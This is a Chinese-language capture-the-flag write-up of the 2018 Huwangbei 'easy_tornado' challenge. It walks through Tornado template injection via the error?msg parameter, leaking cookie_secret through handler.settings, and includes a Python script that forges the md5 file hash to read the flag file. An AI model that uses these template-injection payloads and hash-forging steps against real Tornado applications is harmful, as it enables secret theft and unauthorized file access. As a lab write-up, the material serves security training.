2018护网杯easy_tornado(BUUCTF提供复现)

2018护网杯easy_tornado(BUUCTF提供复现)_第1张图片进入页面首先看一下flag.txt
file?filename=/flag.txt&filehash=9f1a5c8c40be3aafbc5e719d151b1d36
换成fllllllllllllg试一试
出现error
在这里插入图片描述然后一脸懵逼,查阅资料发现这是一个SSTI注入,原理跟SQL注入一样,但是上图把2018护网杯easy_tornado(BUUCTF提供复现)_第2张图片
又查阅资料发现尝试进行验证:
传递error?msg={{2}},页面出现2
传递error?msg={{2*3}},页面出现ORZ(但并不是cookie)
尝试除和减操作符也是)返回ORZ,说明是操作符背过滤了。

那么tornado中的cookie通过模板注入要怎么拿到呢?
用的就是handler.settings对象

handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
原文链接:https://blog.csdn.net/zz_Caleb/article/details/101473013/

进入拿到cookie_secret了
{‘autoreload’: True, ‘compiled_template_cache’: False, ‘cookie_secret’: ‘73e3eafa-153d-4145-a916-c1e8b3026948’}
然后算/hints.txt
md5(cookie_secret+md5(filename))
下面贴上脚本

import hashlib


def md5value(s):
    md5 = hashlib.md5()
    md5.update(s.encode())
    return md5.hexdigest()


def mdfive2():
    filename = '/fllllllllllllag'
    cookie = r"73e3eafa-153d-4145-a916-c1e8b3026948"
    print(md5value(cookie + md5value(filename)))

mdfive2()

之后算出来,然后访问068f75b7-4e20-4f64-9997-99dc0da0f8d3.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=0256f1866c4fd79c4b1f3a90d0c731a1
拿到flagflag{83b208fc-fcf0-41c3-9194-3f745683744a}

你可能感兴趣的:(ctf)